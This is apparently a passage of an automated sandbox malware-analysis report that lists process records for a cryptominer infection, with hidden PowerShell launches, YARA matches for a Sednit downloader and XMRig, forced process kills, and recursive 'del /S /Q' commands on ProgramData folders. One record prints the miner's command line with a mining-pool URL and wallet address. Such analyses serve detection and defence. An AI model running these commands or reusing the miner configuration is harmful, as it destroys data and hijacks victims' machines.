                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:62
                                                                                                                                                                                                      Start time:17:02:11
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:63
                                                                                                                                                                                                      Start time:17:02:11
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:64
                                                                                                                                                                                                      Start time:17:02:11
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:65
                                                                                                                                                                                                      Start time:17:02:13
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:66
                                                                                                                                                                                                      Start time:17:02:14
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:67
                                                                                                                                                                                                      Start time:17:02:15
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:68
                                                                                                                                                                                                      Start time:17:02:17
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:69
                                                                                                                                                                                                      Start time:17:02:17
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:71
                                                                                                                                                                                                      Start time:17:02:20
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      File size:945944 bytes
                                                                                                                                                                                                      MD5 hash:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 00000047.00000003.488955768.00000000019A1000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 00000047.00000002.572303797.00000000007ED000.00000004.00000010.00020000.00000000.sdmp, Author: Florian Roth

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:72
                                                                                                                                                                                                      Start time:17:02:22
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\Systemd\Database.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
                                                                                                                                                                                                      Imagebase:0x7ff7d72f0000
                                                                                                                                                                                                      File size:8295936 bytes
                                                                                                                                                                                                      MD5 hash:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000048.00000002.538012235.00007FF7D7DF5000.00000008.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000048.00000000.497280363.00007FF7D7DF5000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000048.00000002.532148525.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000048.00000002.532148525.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000048.00000002.532148525.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000048.00000000.493131421.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000048.00000000.493131421.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000048.00000000.493131421.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:73
                                                                                                                                                                                                      Start time:17:02:26
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:74
                                                                                                                                                                                                      Start time:17:02:26
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:75
                                                                                                                                                                                                      Start time:17:02:27
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      File size:945944 bytes
                                                                                                                                                                                                      MD5 hash:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 0000004B.00000003.518150519.0000000003231000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:76
                                                                                                                                                                                                      Start time:17:02:27
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:77
                                                                                                                                                                                                      Start time:17:02:27
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:78
                                                                                                                                                                                                      Start time:17:02:28
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:79
                                                                                                                                                                                                      Start time:17:02:28
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:80
                                                                                                                                                                                                      Start time:17:02:28
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:81
                                                                                                                                                                                                      Start time:17:02:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                                                                                                                                                                      Imagebase:0x7ff612400000
                                                                                                                                                                                                      File size:447488 bytes
                                                                                                                                                                                                      MD5 hash:95000560239032BC68B4C2FDFCDEF913
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:.Net C# or VB.NET

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:82
                                                                                                                                                                                                      Start time:17:02:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:83
                                                                                                                                                                                                      Start time:17:02:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:84
                                                                                                                                                                                                      Start time:17:02:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:85
                                                                                                                                                                                                      Start time:17:02:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:86
                                                                                                                                                                                                      Start time:17:02:29
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:87
                                                                                                                                                                                                      Start time:17:02:30
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:88
                                                                                                                                                                                                      Start time:17:02:30
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:89
                                                                                                                                                                                                      Start time:17:02:31
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:90
                                                                                                                                                                                                      Start time:17:02:32
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:91
                                                                                                                                                                                                      Start time:17:02:34
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:92
                                                                                                                                                                                                      Start time:17:02:35
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:93
                                                                                                                                                                                                      Start time:17:02:36
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:94
                                                                                                                                                                                                      Start time:17:02:36
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:95
                                                                                                                                                                                                      Start time:17:02:37
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:96
                                                                                                                                                                                                      Start time:17:02:37
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:97
                                                                                                                                                                                                      Start time:17:02:38
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:98
                                                                                                                                                                                                      Start time:17:02:38
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:99
                                                                                                                                                                                                      Start time:17:02:38
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
